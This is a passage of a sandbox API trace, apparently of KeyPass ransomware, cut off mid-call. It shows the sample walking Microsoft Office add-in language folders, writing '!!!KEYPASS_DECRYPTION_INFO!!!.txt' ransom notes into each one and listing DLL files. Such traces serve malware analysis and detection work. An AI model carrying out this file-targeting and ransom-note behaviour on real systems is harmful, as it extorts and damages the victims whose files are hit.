1 [0250.776] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.776] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.776] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\AdHocReportingExcelClient.dll") returned=".dll" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.777] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap") returned=".xap" [0250.777] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.777] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.777] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.777] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.777] GetLastError () returned 0x3f0 [0250.777] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.777] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0250.820] GetFileType (hFile=0x7f8) returned 0x1 [0250.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.821] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.821] WriteFile (in: hFile=0x7f8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.821] WriteFile (in: hFile=0x7f8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.822] CloseHandle (hObject=0x7f8) returned 1 [0250.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39003f0 [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\AdHocReportingExcelClient.dll") returned=".dll" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.822] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.823] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap") returned=".xap" [0250.823] FindNextFileW (in: hFindFile=0x39003f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.823] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.823] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.823] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.823] GetLastError () returned 0x3f0 [0250.823] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.823] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc [0250.883] GetFileType (hFile=0x7fc) returned 0x1 [0250.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.883] WriteFile (in: hFile=0x7fc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.884] WriteFile (in: hFile=0x7fc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.884] CloseHandle (hObject=0x7fc) returned 1 [0250.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900430 [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\AdHocReportingExcelClient.dll") returned=".dll" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.885] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap") returned=".xap" [0250.885] FindNextFileW (in: hFindFile=0x3900430, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.886] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.886] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.886] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.886] GetLastError () returned 0x3f0 [0250.886] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.886] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f4 [0251.058] GetFileType (hFile=0x7f4) returned 0x1 [0251.059] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.059] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.059] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.059] WriteFile (in: hFile=0x7f4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.059] WriteFile (in: hFile=0x7f4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.060] CloseHandle (hObject=0x7f4) returned 1 [0251.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900470 [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\AdHocReportingExcelClient.dll") returned=".dll" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.060] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\PowerViewRes.kk.xap") returned=".xap" [0251.060] FindNextFileW (in: hFindFile=0x3900470, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.061] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.061] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.061] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.061] GetLastError () returned 0x3f0 [0251.061] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.061] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804 [0251.119] GetFileType (hFile=0x804) returned 0x1 [0251.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.120] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.120] WriteFile (in: hFile=0x804, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.121] WriteFile (in: hFile=0x804, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.121] CloseHandle (hObject=0x804) returned 1 [0251.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900630 [0251.121] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.121] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.121] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\AdHocReportingExcelClient.dll") returned=".dll" [0251.121] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.121] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0251.122] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0251.122] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0251.122] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\PowerViewRes.ko.xap") returned=".xap" [0251.122] FindNextFileW (in: hFindFile=0x3900630, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0251.122] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0251.122] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0251.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0251.122] GetLastError () returned 0x3f0 [0251.122] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0251.122] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0251.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0251.134] GetFileType (hFile=0x80c) returned 0x1 [0251.134] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0251.134] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0251.134] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0251.134] WriteFile (in: hFile=0x80c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0251.135] WriteFile (in: hFile=0x80c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0251.135] CloseHandle (hObject=0x80c) returned 1 [0251.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900670 [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\AdHocReportingExcelClient.dll") returned=".dll" [0251.136] FindNextFileW (in: hFindFile=0x3900670, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0251.136] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0251.136] FindNextFileW (in: 